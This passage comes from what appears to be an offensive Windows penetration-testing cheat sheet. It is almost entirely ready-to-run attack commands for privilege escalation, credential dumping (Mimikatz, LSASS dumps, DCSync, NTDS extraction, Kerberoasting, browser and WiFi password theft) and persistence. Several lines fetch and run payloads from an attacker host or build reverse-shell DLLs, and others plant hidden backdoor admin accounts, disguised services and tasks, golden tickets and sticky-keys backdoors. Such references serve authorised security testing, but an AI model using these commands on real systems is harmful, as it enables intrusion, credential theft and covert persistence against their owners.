.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add" -t *

# RoguePotato (Windows 10 1809+, Server 2019+)
.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c C:\Temp\payload.exe" -l 9999

# PrintSpoofer (Windows 10, Server 2016-2022)
.\PrintSpoofer.exe -i -c "cmd.exe /c C:\Temp\payload.exe"
.\PrintSpoofer.exe -i -c powershell

# GodPotato (Latest Windows 10/11, Server 2019/2022)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "C:\Temp\payload.exe"

# SweetPotato (combines multiple techniques)
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\payload.exe"

# === KERNEL EXPLOITS (Use with caution) ===

# MS17-017 (Windows 7/8/2008/2012)
# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017

# MS16-032 (Windows 7-10/2008-2016 - Secondary Logon)
# https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1')
Invoke-MS16032

# MS16-135 (Win32k Elevation of Privilege)
.\MS16-135.exe

# MS15-051 (Windows 7/8/2008/2012)
.\ms15-051.exe "cmd.exe /c C:\Temp\payload.exe"

# PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
# Requires access to share with DLL
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL "\\ATTACKER_IP\share\evil.dll"

# HiveNightmare (CVE-2021-36934 - SeriousSAM)
# Allows reading SAM/SYSTEM from shadow copies (Windows 10/11)
icacls C:\Windows\System32\config\SAM
# If Everyone or Users has Read access
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# === BYPASSING UAC ===

# Check UAC level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

# FodhelperBypass (Windows 10)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Temp\payload.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# ComputerDefaults UAC bypass
$registryPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $registryPath -Force
New-ItemProperty -Path $registryPath -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path $registryPath -Name "(Default)" -Value "C:\Temp\payload.exe" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"

# === TOKEN IMPERSONATION ===

# Incognito (Metasploit)
# meterpreter> use incognito
# meterpreter> list_tokens -u
# meterpreter> impersonate_token "NT AUTHORITY\SYSTEM"

# Manual token manipulation with PowerShell
# Requires SeDebugPrivilege
# Use Get-Process to find SYSTEM process
# Steal token and create new process

Windows Credential Harvesting
#

# === LSASS DUMPING ===

# Method 1: Task Manager (GUI - creates dump in C:\Users\<user>\AppData\Local\Temp)
# Right-click lsass.exe → Create dump file

# Method 2: ProcDump (Sysinternals)
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Method 3: Comsvcs.dll (built-in, no extra tools)
# Get LSASS PID
tasklist /fi "imagename eq lsass.exe"
Get-Process lsass

# Dump using comsvcs.dll (requires admin/debug privilege)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# Method 4: SQLDumper (if SQL Server installed)
"C:\Program Files\Microsoft SQL Server\130\Shared\SqlDumper.exe" <LSASS_PID> 0 0x0110

# Method 5: Process Explorer (Sysinternals)
# Right-click lsass.exe → Create Dump → Create Full Dump

# Method 6: PowerShell with Out-Minidump
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump -DumpFilePath C:\Temp\

# Method 7: Silent process exit (stealthy)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v ReportingMode /t REG_DWORD /d 2
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v LocalDumpFolder /t REG_SZ /d C:\Temp
# Trigger dump, then cleanup
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /f

# Method 8: Nanodump (EDR evasion)
.\nanodump.exe -w lsass.dmp

# Method 9: PPLdump (bypass PPL protection)
.\PPLdump.exe <LSASS_PID> lsass.dmp

# === EXTRACT CREDENTIALS FROM DUMP (On Attacker Machine) ===

# Mimikatz
.\mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

# Pypykatz (Python alternative)
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp -o output.txt

# === MIMIKATZ (LIVE CREDENTIAL DUMPING) ===

# Basic usage (requires admin/SYSTEM)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Export to file
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > creds.txt

# Dump all credentials
privilege::debug
sekurlsa::logonpasswords
sekurlsa::logonpasswords full
sekurlsa::wdigest
sekurlsa::kerberos
sekurlsa::msv
sekurlsa::tspkg
sekurlsa::livessp

# Dump credentials from SAM
lsadump::sam
lsadump::sam /system:C:\Temp\SYSTEM /sam:C:\Temp\SAM

# Dump credentials from LSA secrets
lsadump::secrets
lsadump::secrets /system:C:\Temp\SYSTEM /security:C:\Temp\SECURITY

# Dump cached domain credentials
lsadump::cache

# Dump NTDS.dit (Domain Controller)
lsadump::lsa /inject
lsadump::lsa /patch

# Kerberos tickets
sekurlsa::tickets
sekurlsa::tickets /export

# DCSync attack (extract any user hash from DC)
lsadump::dcsync /domain:corp.local /user:Administrator
lsadump::dcsync /domain:corp.local /all /csv

# === REGISTRY HIVE DUMPING ===

# Check privileges
whoami /priv | findstr SeBackupPrivilege

# Method 1: reg save (requires admin)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY

# Method 2: Volume Shadow Copy
# List shadow copies
vssadmin list shadows
wmic shadowcopy list brief

# Create new shadow copy
vssadmin create shadow /for=C:
wmic shadowcopy call create Volume=C:\

# Copy files from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY

# Method 3: ShadowCopy with PowerShell
$shadow = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$shadow_path = (Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadow.ShadowID }).DeviceObject
cmd /c copy "$shadow_path\Windows\System32\config\SAM" C:\Temp\SAM

# Method 4: Diskshadow
diskshadow
> set context persistent nowriters
> add volume c: alias someAlias
> create
> expose %someAlias% z:
> exit
copy z:\Windows\System32\config\SAM C:\Temp\SAM
copy z:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# === EXTRACT HASHES FROM REGISTRY (On Attacker Machine) ===

# Impacket secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCAL
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Mimikatz
.\mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" "exit"

# === REMOTE CREDENTIAL EXTRACTION ===

# NetExec (formerly CrackMapExec)
nxc smb TARGET_IP -u Administrator -p 'Password123!' --sam
nxc smb TARGET_IP -u Administrator -p 'Password123!' --lsa
nxc smb TARGET_IP -u Administrator -p 'Password123!' --ntds

# With NTLM hash (Pass-the-Hash)
nxc smb TARGET_IP -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c --sam

# Dump NTDS.dit from Domain Controller
nxc smb DC_IP -u Administrator -p 'Password123!' --ntds

# Impacket secretsdump (remote)
secretsdump.py domain/user:password@TARGET_IP
secretsdump.py -hashes :ntlm_hash domain/user@TARGET_IP

# Dump NTDS.dit remotely
secretsdump.py domain/Administrator:password@DC_IP -just-dc
secretsdump.py domain/Administrator:password@DC_IP -just-dc-ntlm
secretsdump.py domain/Administrator:password@DC_IP -just-dc-user krbtgt

# === NTDS.DIT EXTRACTION (DOMAIN CONTROLLER) ===

# Method 1: VSS + copy
wmic shadowcopy call create Volume=C:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# Method 2: ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" q q

# Method 3: Use volume shadow copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\ntds.dit

# Extract hashes (on attacker machine)
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# === CREDENTIAL HUNTING IN FILES ===

# PowerShell history
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-Content (Get-PSReadlineOption).HistorySavePath

# All users PowerShell history
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# Search for passwords in files
findstr /si password *.txt *.xml *.config *.ini *.cfg *.conf
findstr /si password C:\*.txt C:\*.xml C:\*.ini

# Recursive search
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern "password" -CaseSensitive:$false

# Search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Unattended installation files
Get-ChildItem C:\ -Recurse -Include *unattend*.xml,*sysprep*.xml,*autounattend*.xml -ErrorAction SilentlyContinue
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattend\Unattend.xml
type C:\Windows\System32\sysprep\unattend.xml

# Group Policy Preferences (GPP) passwords
# On Domain Controller
Get-ChildItem -Path "C:\Windows\SYSVOL" -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml

# Decrypt GPP password
gpp-decrypt <encrypted_password>

# LaZagne (all-in-one credential harvester)
.\lazagne.exe all
.\lazagne.exe browsers
.\lazagne.exe memory

# === BROWSER CREDENTIALS ===

# Chrome passwords (encrypted with DPAPI)
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
Copy-Item $chromePath "$env:TEMP\LoginData"

# Edge passwords
$edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"

# Firefox passwords
$firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles"
Get-ChildItem $firefoxPath -Recurse -Include logins.json,key4.db

# SharpChrome (extract Chrome creds)
.\SharpChrome.exe logins /unprotect

# SharpEdge (extract Edge creds)
.\SharpEdge.exe

# === RDP CREDENTIALS ===

# Saved RDP connections
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default"
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

# RDP credential manager entries
cmdkey /list | findstr Target

# Extract RDP credentials with Mimikatz
mimikatz # sekurlsa::credman

# === WIFI PASSWORDS ===

# List saved WiFi profiles
netsh wlan show profiles

# Extract password for specific profile
netsh wlan show profile name="WIFI_NAME" key=clear

# Extract all WiFi passwords
for /f "tokens=2 delims=:" %i in ('netsh wlan show profiles ^| findstr "All User Profile"') do @echo off & echo Profile: %i & netsh wlan show profile name=%i key=clear | findstr "Key Content"

# PowerShell one-liner
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE=$name;PASSWORD=$pass }}

# === CREDENTIAL MANAGER ===

# List stored credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials"
vaultcmd /listcreds:"Web Credentials"

# Dump credential manager with Mimikatz
mimikatz # vault::list

# SharpDPAPI (DPAPI credential extraction)
.\SharpDPAPI.exe credentials
.\SharpDPAPI.exe vaults
.\SharpDPAPI.exe triage

# === KERBEROS TICKETS ===

# List cached Kerberos tickets
klist
klist tickets

# Export tickets with Mimikatz
mimikatz # sekurlsa::tickets /export

# Rubeus (Kerberos abuse toolkit)
.\Rubeus.exe dump
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x12345 /nowrap

# Request TGT
.\Rubeus.exe asktgt /user:username /password:Password123! /domain:corp.local

# === NTLM RELAY & CAPTURE ===

# Responder (capture NTLM hashes on network)
responder -I eth0 -wrf

# Inveigh (PowerShell NTLM/LLMNR capture)
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

# ntlmrelayx (relay NTLM authentication)
ntlmrelayx.py -tf targets.txt -smb2support

# === KERBEROASTING ===

# Request service tickets for accounts with SPNs
# Impacket
GetUserSPNs.py -request -dc-ip DC_IP domain/user:password

# Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
.\Rubeus.exe kerberoast /user:svc_account /outfile:hash.txt

# PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Crack hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# === AS-REP ROASTING ===

# Find users with "Do not require Kerberos preauthentication"
# Impacket
GetNPUsers.py domain/ -dc-ip DC_IP -request

# With user list
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# Rubeus
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Crack hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# === CACHED CREDENTIALS ===

# Dump cached credentials
mimikatz # lsadump::cache

# Extract from registry
reg save HKLM\SECURITY C:\Temp\SECURITY
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# Crack cached credentials
hashcat -m 2100 cached_creds.txt /usr/share/wordlists/rockyou.txt

# === DPAPI SECRETS ===

# Master keys location
ls "$env:APPDATA\Microsoft\Protect"
ls "$env:LOCALAPPDATA\Microsoft\Credentials"

# Extract DPAPI secrets with SharpDPAPI
.\SharpDPAPI.exe masterkeys
.\SharpDPAPI.exe credentials
.\SharpDPAPI.exe vaults

# Mimikatz DPAPI
dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21...\<GUID>" /rpc
dpapi::cred /in:"C:\Users\user\AppData\Local\Microsoft\Credentials\<FILE>"

# === TOKEN THEFT ===

# List available tokens (requires SeDebugPrivilege)
# Incognito (Metasploit)
use incognito
list_tokens -u

# Steal token
impersonate_token "NT AUTHORITY\SYSTEM"

# Rubeus (Kerberos token manipulation)
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x12345
.\Rubeus.exe ptt /ticket:base64_ticket

# === CREDENTIAL SPRAYING ===

# NetExec password spraying
nxc smb TARGET_NETWORK -u users.txt -p 'Winter2024!' --continue-on-success
nxc smb TARGET_NETWORK -u users.txt -p passwords.txt --no-bruteforce

# Spray-Passwords (PowerShell)
Import-Module .\Spray-Passwords.ps1
Invoke-PasswordSpray -Domain corp.local -UserList users.txt -Password 'Welcome123!' -OutFile results.txt

# Kerbrute (fast Kerberos username/password spray)
./kerbrute passwordspray -d corp.local users.txt 'Password123!'

# === EXTRACTING CREDENTIALS FROM MEMORY ===

# Dump all process memory
Get-Process | ForEach-Object { $proc = $_; try { $proc.Modules | Out-File -Append "C:\Temp\modules.txt" } catch {} }

# Search memory for credentials
strings -n 8 memory.dmp | findstr /i "password username"

# === SAM DATABASE OFFLINE ATTACK ===

# On attacker machine with SAM and SYSTEM files
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Crack NT hashes
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --format=NT nt_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Windows Persistence
#

# === REGISTRY RUN KEYS ===

# Current user (no admin required)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)" /f

# All users (requires admin)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\ProgramData\update.exe" /f

# RunOnce keys (executes once then deletes itself)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Update" /t REG_SZ /d "C:\Temp\payload.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Update" /t REG_SZ /d "C:\Temp\payload.exe" /f

# RunOnceEx (runs once with multiple commands)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v "Update" /t REG_SZ /d "C:\Temp\payload.exe" /f

# Explorer Run (less common, less monitored)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "Update" /t REG_SZ /d "C:\Temp\payload.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "Update" /t REG_SZ /d "C:\Temp\payload.exe" /f

# Winlogon (runs at user logon)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Temp\payload.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Temp\payload.exe" /f

# === STARTUP FOLDER ===

# Current user startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
echo "powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)" > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.bat"

# All users startup folder (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# Create LNK file in startup
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)"
$Shortcut.Save()

# === SERVICES ===

# Create new service
sc create "WindowsUpdateService" binpath= "C:\Windows\Temp\payload.exe" start= auto
sc description "WindowsUpdateService" "Manages Windows updates and system maintenance"
sc start "WindowsUpdateService"

# With delayed start (less suspicious)
sc create "SecurityUpdateService" binpath= "C:\ProgramData\update.exe" start= delayed-auto
sc description "SecurityUpdateService" "Manages security updates"

# Service with PowerShell payload
sc create "SystemMonitor" binpath= "powershell.exe -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)" start= auto

# Modify existing service
sc config "wuauserv" binpath= "C:\Windows\System32\svchost.exe -k netsvcs -s wuauserv"
sc config "SomeService" binpath= "C:\Temp\payload.exe"

# Service with dependencies (stealthier)
sc create "NetworkMonitor" binpath= "C:\Windows\System32\svchost.exe -k NetworkService" start= auto depend= "Tcpip/Afd"

# === SCHEDULED TASKS ===

# Daily task
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc daily /st 08:00 /ru SYSTEM /f

# On logon trigger
schtasks /create /tn "WindowsMaintenance" /tr "C:\ProgramData\update.exe" /sc onlogon /ru SYSTEM /f

# On idle trigger
schtasks /create /tn "SystemOptimization" /tr "C:\Temp\payload.exe" /sc onidle /i 10 /f

# Hidden task (no visible entry in Task Scheduler GUI)
schtasks /create /tn "\Microsoft\Windows\UpdateOrchestrator\SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc daily /st 12:00 /f /rl highest

# PowerShell script task
schtasks /create /tn "SecurityScan" /tr "powershell -w hidden -ep bypass -file C:\Windows\Temp\update.ps1" /sc daily /st 09:00 /ru SYSTEM /f

# Multiple triggers
$action = New-ScheduledTaskAction -Execute "C:\Temp\payload.exe"
$trigger1 = New-ScheduledTaskTrigger -AtLogOn
$trigger2 = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SystemService" -Action $action -Trigger $trigger1,$trigger2 -RunLevel Highest

# Modify existing task
schtasks /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /tr "C:\Temp\payload.exe"

# === WMI EVENT SUBSCRIPTION ===

# Event filter (trigger condition)
$FilterArgs = @{
    Name = "SystemEventFilter"
    EventNamespace = "root\cimv2"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = "WQL"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Event consumer (payload)
$ConsumerArgs = @{
    Name = "SystemEventConsumer"
    CommandLineTemplate = "powershell.exe -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Bind filter to consumer
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

# Alternative WMI persistence (timed trigger)
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_LocalTime' AND (TargetInstance.Hour = 12 OR TargetInstance.Hour = 18)"
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name="TimedFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query=$Query}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name="TimedConsumer"; CommandLineTemplate="C:\Temp\payload.exe"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$Filter; Consumer=$Consumer}

# List WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# Remove WMI persistence
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='SystemEventFilter'" | Remove-WmiObject

# === USER ACCOUNT PERSISTENCE ===

# Create hidden local admin
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# Hide user from login screen
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "backdoor" /t REG_DWORD /d 0 /f

# User with specific SID (harder to detect)
$user = "maintenance"
net user $user P@ssw0rd123! /add /expires:never
wmic useraccount where name='$user' set PasswordExpires=false
net localgroup administrators $user /add

# Enable built-in administrator
net user administrator /active:yes
net user administrator NewP@ssw0rd123!

# Clone existing user SID (advanced)
# Requires modifying SAM database offline

# === DOMAIN PERSISTENCE ===

# Golden Ticket (requires krbtgt hash)
# On Domain Controller, extract krbtgt hash
mimikatz # lsadump::lsa /inject /name:krbtgt

# Create Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:NTLM_HASH /id:500 /ptt

# Golden Ticket with custom validity
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:NTLM_HASH /id:500 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver Ticket (for specific service)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-DOMAIN-SID /target:fileserver.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt

# === SID HISTORY INJECTION ===

# Add Enterprise Admins SID to user (requires DC access)
mimikatz # sid::add /user:backdoor /domain:corp.local /sid:S-1-5-21-ROOT-DOMAIN-SID-519

# Verify SID history
Get-ADUser -Identity backdoor -Properties sidHistory

# === SKELETON KEY ATTACK ===

# Install skeleton key (master password for all accounts)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# After installation, any account can authenticate with password "mimikatz"
# Volatile - cleared on reboot

# === DCSYNC RIGHTS ===

# Grant user DCSync rights (DS-Replication-Get-Changes)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdoor -Rights DCSync

# Verify rights
Get-DomainObjectAcl -Identity "DC=corp,DC=local" | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser backdoor).objectsid}

# Perform DCSync
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# === ADMINSDHOLDER PERSISTENCE ===

# Modify AdminSDHolder to add backdoor user
# Changes propagate to protected groups every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor -Rights All

# === COM HIJACKING ===

# Find hijackable COM objects
$classes = Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue
foreach ($class in $classes) {
    if (Test-Path "$($class.PSPath)\InprocServer32") {
        $path = (Get-ItemProperty "$($class.PSPath)\InprocServer32").'(default)'
        if ($path -and !(Test-Path $path)) {
            Write-Host "Hijackable: $($class.PSChildName) - Missing: $path"
        }
    }
}

# Hijack COM object
$CLSID = "{CLSID-HERE}"
reg add "HKCU\Software\Classes\CLSID\$CLSID\InprocServer32" /ve /t REG_SZ /d "C:\Temp\evil.dll" /f
reg add "HKCU\Software\Classes\CLSID\$CLSID\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f

# === DLL HIJACKING ===

# Replace legitimate DLL in application directory
copy payload.dll "C:\Program Files\Application\missing.dll"

# DLL search order hijacking
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory
# 4. Windows directory
# 5. Current directory
# 6. Directories in PATH

# Create malicious DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -f dll -o evil.dll

# Place in writable location in search order
copy evil.dll "C:\Program Files\VulnerableApp\version.dll"

# === BITS JOBS ===

# Create BITS job for persistence
bitsadmin /create /download SystemUpdate
bitsadmin /addfile SystemUpdate http://ATTACKER_IP/payload.exe C:\ProgramData\update.exe
bitsadmin /SetNotifyCmdLine SystemUpdate C:\ProgramData\update.exe NULL
bitsadmin /SetMinRetryDelay SystemUpdate 60
bitsadmin /resume SystemUpdate

# PowerShell BITS job
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATTACKER_IP/payload.exe -Destination C:\Temp\payload.exe -Asynchronous
$job = Get-BitsTransfer
$job | Set-BitsTransfer -NotifyCmdLine "C:\Temp\payload.exe" -NotifyFlags Transferred

# === SCREENSAVER PERSISTENCE ===

# Set malicious screensaver (runs with user privileges)
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d 300 /f
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Temp\payload.scr" /f

# Create SCR file (renamed EXE)
copy payload.exe C:\Temp\payload.scr

# === ACCESSIBILITY FEATURES BACKDOOR ===

# Sticky Keys (sethc.exe) - Press Shift 5 times at login
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

# Utilman (Utility Manager) - Windows+U at login
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

# On-Screen Keyboard
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\osk.exe

# Magnifier
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\magnify.exe

# Narrator
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\narrator.exe

# === IMAGE FILE EXECUTION OPTIONS (IFEO) HIJACKING ===

# Hijack legitimate executable to run debugger
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\Temp\payload.exe" /f

# When notepad.exe is launched, payload.exe runs instead
# Stealthier: run payload then launch legitimate binary
